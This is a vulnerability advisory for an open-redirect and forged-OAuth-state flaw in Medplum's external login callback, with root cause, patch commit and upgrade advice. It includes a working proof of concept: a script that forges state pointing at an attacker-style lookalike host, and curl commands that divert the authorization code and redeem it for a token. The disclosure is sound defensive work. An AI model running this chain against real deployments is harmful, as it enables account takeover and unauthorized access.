CVE-2026-53728: @medplum/core Open Redirect via Prefix-Matched Redirect URI in External Auth Callback
A flaw in how Medplum validates redirect URIs during external identity provider login lets an attacker forge the OAuth state, redirect authorization codes to their own server, and take over any…

The problem
The external IdP callback at GET /auth/external calls getClientRedirectUri(client, body.redirectUri, true), where the third argument enables partial (prefix) matching. The check requestedUri.startsWith(uri) means any URL beginning with a registered redirect URI is accepted, including one on a completely different domain.
Because the OAuth state is serialized as raw JSON and passed through without integrity protection, an attacker can craft a forged state containing their own redirectUri and codeChallenge. After successful IdP login, Medplum appends the authorization code and login values to the attacker-supplied URL and issues a 302 redirect, leaking the code cross-origin.
The attacker-supplied PKCE verifier then lets them redeem that code for a valid access token.
Proof of concept
A working proof-of-concept for CVE-2026-53728 in @medplum/core, with the exact payload below.
# Step 1 – URL-encode the forged state
python3 - <<'PY'
import json, urllib.parse
state = {
"clientId": "<medplum-client-id>",
"redirectUri": "http://callback.audit.local.oastify.com/cb",
"codeChallenge": "attack-verifier-123",
"codeChallengeMethod": "plain"
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY
# Step 2 – Replay the external callback with a valid IdP code
curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>'
# Expected response – Medplum redirects to the attacker host
# HTTP/1.1 302 Found
# Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>
# Step 3 – Redeem the stolen code (attacker controls the PKCE verifier)
curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'The root cause is CWE-345 / CWE-601: getClientRedirectUri was called with a boolean flag that switched it from exact-match to startsWith prefix-match. A registered URI of http://callback.audit.local therefore also accepts http://callback.audit.local.oastify.com/cb, breaking the origin boundary.
The patch (commit 7ae10035, PR #8749) removes the partial-match flag and enforces strict string equality for redirect URIs in the external callback path, matching the behavior already documented for the standard /oauth2/authorize endpoint. The unprotected state parameter is also addressed so that attacker-controlled fields cannot survive through to the redirect decision.
The fix
Upgrade @medplum/core (and the Medplum server package) to **v5.1.6** or later. The fix is in commit 7ae10035ddadde4dba7b18d3156553940465b3a1 (PR #8749). As a defence-in-depth measure, avoid registering redirect URIs that are bare origins or short prefixes that could be extended into a different hostname.
Related research
- highCVE-2026-68945CVE-2026-68945: @angular/common HttpTransferCache Cache-Key Ambiguity Leads to State Poisoning
- high · 7.7CVE-2026-50132: Budibase Chat-Link Handoff Identity Confusion CSRF
- high · 8.3better-auth Pre-Account Hijacking via Magic-Link and Email-OTP Sign-In
- highn8n: Account Takeover via Unverified Email Claim in Embed Login Token Exchange